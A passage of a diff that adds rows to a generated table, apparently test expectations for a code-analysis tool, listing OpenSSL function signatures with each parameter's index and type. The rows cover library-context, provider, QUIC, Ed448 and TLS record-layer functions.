BIO_METHOD *) | | BIO_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const BIO_METHOD *) | | BIO_new_ex | 1 | const BIO_METHOD * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_full_validate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_full_validate | 1 | const FFC_PARAMS * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_full_validate | 2 | int | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_full_validate | 3 | int * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_simple_validate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_simple_validate | 1 | const FFC_PARAMS * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_simple_validate | 2 | int | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_simple_validate | 3 | int * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_validate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_validate | 1 | const FFC_PARAMS * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_validate | 2 | int | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_validate | 3 | int * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_validate | 4 | BN_GENCB * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_validate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_validate | 1 | const FFC_PARAMS * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_validate | 2 | int | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_validate | 3 | int * | +| (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_validate | 4 | BN_GENCB * | +| (OSSL_LIB_CTX *,const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | ossl_provider_init_as_child | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | ossl_provider_init_as_child | 1 | const OSSL_CORE_HANDLE * | +| (OSSL_LIB_CTX *,const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | ossl_provider_init_as_child | 2 | const OSSL_DISPATCH * | +| (OSSL_LIB_CTX *,const OSSL_DISPATCH *) | | ossl_bio_init_core | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const OSSL_DISPATCH *) | | ossl_bio_init_core | 1 | const OSSL_DISPATCH * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_DEFINITION *) | | ossl_property_get_string_value | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_DEFINITION *) | | ossl_property_get_string_value | 1 | const OSSL_PROPERTY_DEFINITION * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 1 | const OSSL_PROPERTY_LIST * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 2 | char * | +| (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 3 | size_t | +| (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,ENGINE *) | | ossl_ec_key_new_method_int | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,ENGINE *) | | ossl_ec_key_new_method_int | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,ENGINE *) | | ossl_ec_key_new_method_int | 2 | ENGINE * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *) | | OSSL_PROVIDER_load_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *) | | OSSL_PROVIDER_load_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *) | | OSSL_PROVIDER_load_ex | 2 | OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int) | | OSSL_PROVIDER_try_load_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int) | | OSSL_PROVIDER_try_load_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int) | | OSSL_PROVIDER_try_load_ex | 2 | OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int) | | OSSL_PROVIDER_try_load_ex | 3 | int | +| (OSSL_LIB_CTX *,const char *,OSSL_PROPERTY_LIST **) | | ossl_prop_defn_set | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,OSSL_PROPERTY_LIST **) | | ossl_prop_defn_set | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,OSSL_PROPERTY_LIST **) | | ossl_prop_defn_set | 2 | OSSL_PROPERTY_LIST ** | +| (OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int) | | ossl_provider_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int) | | ossl_provider_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int) | | ossl_provider_new | 2 | OSSL_provider_init_fn * | +| (OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int) | | ossl_provider_new | 3 | OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int) | | ossl_provider_new | 4 | int | +| (OSSL_LIB_CTX *,const char *,const EC_METHOD *) | | ossl_ec_group_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const EC_METHOD *) | | ossl_ec_group_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const EC_METHOD *) | | ossl_ec_group_new_ex | 2 | const EC_METHOD * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *) | | ossl_quic_validate_retry_integrity_tag | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *) | | ossl_quic_validate_retry_integrity_tag | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *) | | ossl_quic_validate_retry_integrity_tag | 2 | const QUIC_PKT_HDR * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *) | | ossl_quic_validate_retry_integrity_tag | 3 | const QUIC_CONN_ID * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 2 | const QUIC_PKT_HDR * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 3 | const QUIC_CONN_ID * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 4 | unsigned char * | +| (OSSL_LIB_CTX *,const char *,const SSL_METHOD *) | | SSL_CTX_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const SSL_METHOD *) | | SSL_CTX_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const SSL_METHOD *) | | SSL_CTX_new_ex | 2 | const SSL_METHOD * | +| (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 2 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 2 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 2 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 3 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 4 | const OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 5 | const void * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 6 | size_t | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 7 | const unsigned char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 8 | size_t | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 9 | unsigned char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 10 | size_t | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 11 | size_t * | +| (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | int | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 2 | int | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 3 | int | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 4 | int | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 5 | int | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 6 | const EVP_CIPHER * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 7 | size_t | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 8 | const EVP_MD * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 9 | COMP_METHOD * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 10 | BIO * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 11 | BIO * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 12 | BIO * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 13 | const OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 14 | const OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 15 | const OSSL_DISPATCH * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 16 | void * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 17 | OSSL_RECORD_LAYER ** | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 1 | const uint8_t[114] | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 3 | const uint8_t * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 4 | size_t | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 5 | uint8_t | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 6 | const uint8_t * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 7 | uint8_t | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 8 | const char * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 1 | const uint8_t[114] | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 3 | const uint8_t[64] | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 4 | const uint8_t * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 5 | uint8_t | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 6 | const char * | +| (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | int | +| (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | int | +| (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | int | +| (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | int | +| (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | int | +| (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | int | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 1 | int | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 2 | OSSL_PROVIDER ** | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 3 | int | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 4 | OSSL_METHOD_CONSTRUCT_METHOD * | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 5 | void * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 1 | int | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free 